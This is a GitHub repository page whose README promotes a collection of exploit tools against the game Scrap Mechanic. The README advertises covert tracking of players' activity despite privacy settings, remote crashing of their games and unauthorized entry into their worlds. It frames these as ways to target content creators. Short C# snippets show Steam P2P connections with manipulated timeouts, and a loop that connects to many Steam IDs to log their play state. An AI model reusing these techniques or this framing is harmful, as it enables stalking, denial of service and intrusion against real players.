Skip to content

This is a collection of software, code snippets, sample cli's, and demonstrations outlining different impactful CWE's that are currently available to exploit in Scrap Mechanic

License

Notifications You must be signed in to change notification settings

TheGuy920/ScrapRat

Repository files navigation

Welcome to the ScrapRat repo!

What is this??

This is a collection of software, code snippets, sample cli's, and demonstrations outlining different impactful CWE's that are currently available to exploit in Scrap Mechanic as of 3/21/2024. As some of you may know, Scrap Mechanic is a wonderful game with plentiful updates and it should come as no surprise as to why these CWE critical vulnerabilities exist in the game and why they will likely continue to exist for the foreseeable future.

Some of the things the CWE's allow for include cyber stalking, remote game crashing, and unauthorized world entry.

Thats right! Have you ever wanted to know when exactly your favorite content creators are playing Scrap Mechanic? Well now you can forcefully track their Scrap Mechanic activity without their knowledge even if their steam profile is on maximum privacy and they are always 'offline'.

Why stop there? Maybe you get sick and tired of the Scrap Mechanic content..? Well have I got some new for you! With just a few clicks, their game wont last half a second before crashing! This means no more of that oh so stinky Scrap Mechanic content.

Now, if thats not your cup of tea I've got one last option for you (my personal favorite). In just (on average) 15 minutes, you will have cracked the code and you will be able to join ANY of your favorite content creators when you use the previous cyber stalking tool to find out when they are playing the game. Now you can play with your favorite content creators!

Now, back to business...

internal HSteamNetConnection GetConnection() =>
this.hSteamNetConnection ??= (HSteamNetConnection)this.Interupt.RunCancelable(() => 
SteamNetworkingSockets.ConnectP2P
    (ref this.NetworkingIdentity, 0, LongTimeoutOptions.Length, LongTimeoutOptions));

With additional parameters

private static readonly SteamNetworkingConfigValue_t[] LongTimeoutOptions = [
    new SteamNetworkingConfigValue_t
    {
        m_eDataType = ESteamNetworkingConfigDataType.k_ESteamNetworkingConfig_Int32,
        m_eValue = ESteamNetworkingConfigValue.k_ESteamNetworkingConfig_TimeoutConnected,
        m_val = new SteamNetworkingConfigValue_t.OptionValue { m_int32 = 500 }
    },
    new SteamNetworkingConfigValue_t
    {
        m_eDataType = ESteamNetworkingConfigDataType.k_ESteamNetworkingConfig_Int32,
        m_eValue = ESteamNetworkingConfigValue.k_ESteamNetworkingConfig_TimeoutInitial,
        m_val = new SteamNetworkingConfigValue_t.OptionValue { m_int32 = int.MaxValue }
    }
];
SteamNetworkingSockets.SendMessageToConnection(connection, 0, 0, 0, out long _);

Projects

The CWE's above have been implemented in a few different and easy to use solutions.

NetworkingWebApi -->

A sample has been created demonstrating how to initiate connections to users

foreach (CSteamID cstid in steamids)
    client.ConnectToUserAsync(cstid);

NetworkingWebApi -->

A sample has been created showcasing the cyber stalking capabilities

client.OnConnectionPlaystateChanged += delegate;
foreach (var cstid in cstids)
{
    client.ConnectToUserAsync(cstid);
    Logger.LogInfo($"Now tracking: {getNameString(cstid)}");
}

About

This is a collection of software, code snippets, sample cli's, and demonstrations outlining different impactful CWE's that are currently available to exploit in Scrap Mechanic

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages